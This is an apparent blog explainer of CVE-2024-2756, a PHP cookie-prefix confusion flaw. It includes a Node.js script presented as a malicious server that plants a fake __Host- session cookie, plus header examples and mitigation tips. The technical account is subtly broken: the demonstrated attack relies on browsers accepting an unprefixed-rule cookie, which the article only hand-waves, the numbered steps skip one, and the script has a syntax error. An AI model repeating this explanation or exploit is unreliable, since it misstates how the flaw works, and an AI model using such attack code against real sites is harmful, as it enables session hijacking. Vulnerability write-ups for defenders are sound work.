CVE-2024-2756 - How Incomplete Fixes Lead to Cookie Confusion in PHP (With Exploit Details)

Sometimes, old vulnerabilities don’t stay buried. CVE-2024-2756 is a perfect example: it comes about because an earlier fix for CVE-2022-31629 wasn’t complete. This new vulnerability lets attackers set a regular, insecure cookie in a user’s browser, but the PHP backend will think it’s a super-secure __Host- or __Secure- cookie. Here’s how that can really mess things up, why it happens, and how someone can exploit it.

This article is exclusive and in simple American language—so let’s dig in.

Background: Cookies and Prefixes

Cookies are small pieces of data websites store in your browser to remember who you are. For security reasons, cookies can have special prefixes:

- __Secure- cookies: These can *only* be set if they have the Secure flag, which means they're sent only over HTTPS.
- __Host- cookies: These are even stricter; they require Secure, can’t have a Domain attribute, and must use Path=/.

PHP uses these strict prefixes to help secure sessions and sensitive information against attackers.

The Problem in CVE-2024-2756

In 2022, CVE-2022-31629 was a security issue that let attackers bypass those special rules by crafting cookie names and parameters in a clever way.

But the fix released at the time wasn't complete! The leftover bug (CVE-2024-2756) means network attackers or same-site attackers can still sneak a normal (insecure) cookie into your browser, but PHP will treat it as if it were a __Secure- or __Host- cookie.

Why is This Bad?

Let’s say a website uses __Host-sessionid as a secure cookie for user logins. If an attacker can make you set a regular __Host-sessionid cookie (without Secure and Path=/), PHP’s backend will still read that cookie. Now, the attacker can hijack your session or perform CSRF attacks.

Suppose a PHP application uses this to start a session securely

session_set_cookie_params([
    'path' => '/',
    'secure' => true,
    'httponly' => true,
    'samesite' => 'Strict',
    'name' => '__Host-sessionid'
]);
session_start();

The Attack

A network attacker (like on public Wi-Fi) or a same-site XSS/csrf scenario sends you this HTTP response:

Set-Cookie: __Host-sessionid=evilvalue; Path=/

Notice:
There's no Secure flag on the cookie.

Normally, your browser shouldn’t let that set a cookie named __Host-sessionid unless it's Secure, *but in some cases or browser versions, that check is insufficient or bypassed (especially with intermediaries in the network manipulating headers)*.

Now, when your browser requests the site, it sends

Cookie: __Host-sessionid=evilvalue

PHP’s code on the server side now sees a “valid” session cookie—even though it’s totally not secure, and the session value is controlled by the attacker!

1. Attacker injects/set a cookie with the special prefix on a victim’s browser.

- This could be done with a malicious HTTP response if the attacker controls part of the network or is a same-site attacker (e.g. via XSS).

3. PHP reads the “session” from the cookie, not realizing it’s not a valid __Host- cookie.

4. Attacker can hijack session, impersonate the user, or conduct CSRF, depending on the application logic.

Code Example: Crafting the Attack (Node.js Script)

Here’s a simple script that acts as a malicious HTTP server, setting a “fake” __Host- cookie for anyone who visits it:

const http = require('http');

http.createServer((req, res) => {
    res.writeHead(200, {
        'Set-Cookie': '__Host-sessionid=evilvalue; Path=/', // no Secure!
        'Content-Type': 'text/html'
    });
    res.end('<h1>Cookie set. Now visit your PHP app!</h1>');
}).listen(808);

console.log('Malicious cookie setter running on http://localhost:808/';);

Now if a victim visits your local server, the cookie is set.

References

- Original 2022 Advisory: GHSA-c43m-486j-j32p (CVE-2022-31629)
- CVE-2024-2756 (New Issue): CVE Details (if available)
- PHP Session Management: PHP.net - session_set_cookie_params
- Cookie Prefix Rules: OWASP: Cookie Prefixes

How to Protect Against CVE-2024-2756

1. Upgrade PHP: Make sure to apply the latest security patches once the fix for CVE-2024-2756 is released.

2. Extra Validation: Don’t trust cookies just because they have a prefix. Double-check they have all expected attributes (such as Secure, correct Path, etc.) server-side if possible.

3. Use HTTPS: Always. insecure HTTP leaves you wide open to attacks like this from anyone on the network.

4. Audit Your App: If you depend heavily on __Host- or __Secure- cookies for authentication or CSRF protection, check your logic and mitigate until an upstream fix is available.

Conclusion

CVE-2024-2756 shows how incomplete patches can keep old attacks alive. If you’re running a PHP app with important or sensitive cookies, review your cookies and update as soon as the patch drops. For more on the original bug, dig into the GHSA-c43m-486j-j32p advisory.

Stay safe, update often, and always question what your web app trusts!

Timeline

Published on: 04/29/2024 04:15:07 UTC
Last modified on: 05/08/2024 01:15:06 UTC